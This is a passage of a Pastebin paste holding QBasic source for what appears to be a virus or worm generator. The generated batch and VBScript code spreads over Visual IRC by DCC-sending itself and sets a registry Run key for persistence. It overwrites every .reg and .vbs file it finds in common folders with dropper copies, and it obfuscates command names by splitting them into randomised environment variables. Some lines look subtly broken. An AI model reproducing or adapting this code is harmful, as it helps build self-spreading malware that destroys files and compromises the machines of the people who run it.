  1038. IF rand = 3 THEN PRINT #1, ""; CC$; "set vircA=lalala"
  1039. IF rand = 3 THEN PRINT #1, ":vircri"; CC$
  1040. IF rand = 3 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\%vircA%\MeGaLiTh %vircA%\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "dcc "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " >>"; vvbsname$; CC$
  1041. PRINT #1, ""; CC$; "set vircA="
  1042. PRINT #1, ""; CC$; "set sendA="
  1043. PRINT #1, ""; CC$; "set vircy="
  1044. rand = INT(RND * 3) + 1
  1045. IF rand = 1 THEN PRINT #1, ""; CC$; "set regiA=sc"
  1046. IF rand = 1 THEN regy$ = "c%regi%ript"
  1047. IF rand = 2 THEN PRINT #1, ""; CC$; "set regiA=rip"
  1048. IF rand = 2 THEN regy$ = "csc%regiA%t"
  1049. IF rand = 3 THEN PRINT #1, ""; CC$; "set regiA=csc"
  1050. IF rand = 3 THEN regy$ = "%regiA%ript"
  1051. PRINT #1, ""; regy$; " "; vvbsname$; CC$
  1052. PRINT #1, "del "; vvbsname$; CC$
  1053. PRINT #1, ""; CC$; "set regiA="
  1054. VircEnd:
  1055. IF RegFileI = 0 THEN GOTO RegFileEnd
  1056. ran = INT(RND * 26) + 97
  1057. a$ = CHR$(ran)
  1058. ran = INT(RND * 26) + 97
  1059. B$ = CHR$(ran)
  1060. ran = INT(RND * 26) + 97
  1061. c$ = CHR$(ran)
  1062. ran = INT(RND * 26) + 97
  1063. d$ = CHR$(ran)
  1064. ran = INT(RND * 26) + 97
  1065. e$ = CHR$(ran)
  1066. regwormfile$ = a$ + B$ + c$ + d$ + e$ + ".bat"
  1067. psyreg$ = "oqzbd.reg"
  1068. regpathname$ = "kfienq"
  1069. PRINT #1, "copy "; MyS$; " %windir%\"; regwormfile$; DD$
  1070. PRINT #1, "echo REGEDIT4 >"; psyreg$; DD$
  1071. IF rand = 1 THEN PRINT #1, ""; DD$; "set regA=S"
  1072. IF rand = 1 THEN regA$ = "%regA%oft"
  1073. IF rand = 2 THEN PRINT #1, ""; DD$; "set regA=o"
  1074. IF rand = 2 THEN regA$ = "S%regA%ft"
  1075. IF rand = 3 THEN PRINT #1, ""; DD$; "set regA=f"
  1076. IF rand = 3 THEN regA$ = "So%regAft"
  1077. IF rand = 4 THEN PRINT #1, ""; DD$; "set regA=t"
  1078. IF rand = 4 THEN regA$ = "Sof%regA%"
  1079. rand = INT(RND * 4) + 1
  1080. IF rand = 1 THEN PRINT #1, ""; DD$; "set regB=w"
  1081. IF rand = 1 THEN regb$ = "%regB%are"
  1082. IF rand = 2 THEN PRINT #1, ""; DD$; "set regB=a"
  1083. IF rand = 2 THEN regb$ = "w%regB%re"
  1084. IF rand = 3 THEN PRINT #1, ""; DD$; "set regB=r"
  1085. IF rand = 3 THEN regb$ = "wa%regB%e"
  1086. IF rand = 4 THEN PRINT #1, ""; DD$; "set regB=e"
  1087. IF rand = 4 THEN regb$ = "war%regB%"
  1088. PRINT #1, "goto redrri "; DD$
  1089. rand = INT(RND * 4) + 1
  1090. ran = INT(RND * 26) + 97
  1091. regAP$ = CHR$(ran)
  1092. ran = INT(RND * 26) + 97
  1093. regBP$ = CHR$(ran)
  1094. regAPP$ = regAP$ + regBP$
  1095. ran = INT(RND * 26) + 97
  1096. regAP$ = CHR$(ran)
  1097. ran = INT(RND * 26) + 97
  1098. regBP$ = CHR$(ran)
  1099. regBPP$ = regAP$ + regBP$
  1100. PRINT #1, ""; DD$; "set regA="; regAPP$
  1101. PRINT #1, ""; DD$; "set regB="; regBPP$
  1102. PRINT #1, ":regdrri "; DD$
  1103. regAB$ = regA$ + regb$
  1104. PRINT #1, "echo [HKEY_LOCAL_MACHINE\"; regAB$; "\Microsoft\Windows\CurrentVersion\Run] >>"; psyreg$; DD$
  1105. PRINT #1, "echo "; CHR$(34); regpathname$; CHR$(34); "="; CHR$(34); "%windir%\"; regwormfile$; CHR$(34); ">>"; psyreg$; DD$
  1106. PRINT #1, ""; DD$; "set RDA=for"
  1107. PRINT #1, "%RDA% %%r in (*.reg \*.reg ..\*.reg %path%\*.reg %windir%\*.reg) do copy "; psyreg$; " %%r"; DD$
  1108. PRINT #1, "del "; psyreg$; DD$
  1109. PRINT #1, ""; DD$; "set regA="
  1110. PRINT #1, ""; DD$; "set regB="
  1111. RegFileEnd:
  1112. IF VBSFileI = 1 THEN GOTO VBSInfection
  1113. GOTO VBSInfectionEnd
  1114. VBSInfection:
  1115. ran = INT(RND * 26) + 97
  1116. a$ = CHR$(ran)
  1117. ran = INT(RND * 26) + 97
  1118. B$ = CHR$(ran)
  1119. ran = INT(RND * 26) + 97
  1120. c$ = CHR$(ran)
  1121. ran = INT(RND * 26) + 97
  1122. d$ = CHR$(ran)
  1123. ran = INT(RND * 26) + 97
  1124. e$ = CHR$(ran)
  1125. vbsDropFile$ = a$ + B$ + c$ + d$ + e$ + ".vbs"
  1126. ran = INT(RND * 26) + 97
  1127. a$ = CHR$(ran)
  1128. ran = INT(RND * 26) + 97
  1129. B$ = CHR$(ran)
  1130. ran = INT(RND * 26) + 97
  1131. c$ = CHR$(ran)
  1132. ran = INT(RND * 26) + 97
  1133. d$ = CHR$(ran)
  1134. ran = INT(RND * 26) + 97
  1135. e$ = CHR$(ran)
  1136. vbsDropFileRun$ = "%windir%\" + a$ + B$ + c$ + d$ + e$ + ".bat"
  1137. rand = INT(RND * 4) + 1
  1138. IF rand = 1 THEN PRINT #1, ""; EE$; "set vbsA=w"
  1139. IF rand = 1 THEN vbsAP$ = "%vbsA%scr"
  1140. IF rand = 2 THEN PRINT #1, ""; EE$; "set vbsA=s"
  1141. IF rand = 2 THEN vbsAP$ = "w%vbsA%cr"
  1142. IF rand = 3 THEN PRINT #1, ""; EE$; "set vbsA=c"
  1143. IF rand = 3 THEN vbsAP$ = "ws%vbsA%r"
  1144. IF rand = 4 THEN PRINT #1, ""; EE$; "set vbsA=r"
  1145. IF rand = 4 THEN vbsAP$ = "wsc%vbsA%"
  1146. rand = INT(RND * 3) + 1
  1147. IF rand = 1 THEN PRINT #1, ""; EE$; "set vbsB=i"
  1148. IF rand = 1 THEN vbsBP$ = "%vbsB%pt"
  1149. IF rand = 2 THEN PRINT #1, ""; EE$; "set vbsB=p"
  1150. IF rand = 2 THEN vbsBP$ = "i%vbsB%t"
  1151. IF rand = 3 THEN PRINT #1, ""; EE$; "set vbsB=t"
  1152. IF rand = 3 THEN vbsBP$ = "ip%vbsB%"
  1153. vbsAB$ = vbsAP$ + vbsBP$
  1154. PRINT #1, "goto VBSdropwri "; EE$
  1155. ran = INT(RND * 26) + 97
  1156. a$ = CHR$(ran)
  1157. ran = INT(RND * 26) + 97
  1158. B$ = CHR$(ran)
  1159. vbsAPF$ = a$ + B$
  1160. PRINT #1, "set vbsA="; vbsAPF$; EE$
  1161. ran = INT(RND * 26) + 97
  1162. a$ = CHR$(ran)
  1163. ran = INT(RND * 26) + 97
  1164. B$ = CHR$(ran)
  1165. vbsBPF$ = a$ + B$
  1166. PRINT #1, ""; EE$; "set vbsB="; vbsBPF$
  1167. PRINT #1, ":vbsdropwri "; EE$
  1168. PRINT #1, "copy "; MyS$; " "; vbsDropFile$; EE$
  1169. PRINT #1, "copy "; MyS$; " "; vbsDropFileRun$; EE$
  1170. PRINT #1, "echo.on error resume next > "; vbsDropFile$; EE$
  1171. PRINT #1, "echo dim wsh >>"; vbsDropFile$; EE$
  1172. PRINT #1, "echo set wsh="; vbsAB$; ".createobject("; CHR$(34); vbsAB$; ".shell"; CHR$(34); ") >>"; vbsDropFile$; EE$
  1173. PRINT #1, "echo wsh.run "; CHR$(34); vbsDropFileRun$; CHR$(34); " >>"; vbsDropFile$; EE$
  1174. PRINT #1, ""; EE$; "set VDA=for"
  1175. PRINT #1, "%VDA% %%q in (*.vbs \*.vbs ..\*.vbs %path%\*.vbs %windir%\*.vbs) do copy "; vbsDropFile$; " %%q"; EE$
  1176. PRINT #1, ""; EE$; "set VDA="
  1177. PRINT #1, ""; EE$; "set vbsA="
  1178. PRINT #1, ""; EE$; "set vbsB="
  1179. VBSInfectionEnd:
  1180. IF regkey = 1 THEN GOTO ReKey
  1181. GOTO ReKeyEnd
  1182. ReKey:
  1183. ran = INT(RND * 26) + 97
  1184. a$ = CHR$(ran)
  1185. ran = INT(RND * 26) + 97
  1186. B$ = CHR$(ran)
  1187. ran = INT(RND * 26) + 97
  1188. c$ = CHR$(ran)
  1189. ran = INT(RND * 26) + 97
  1190. d$ = CHR$(ran)
  1191. ran = INT(RND * 26) + 97
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!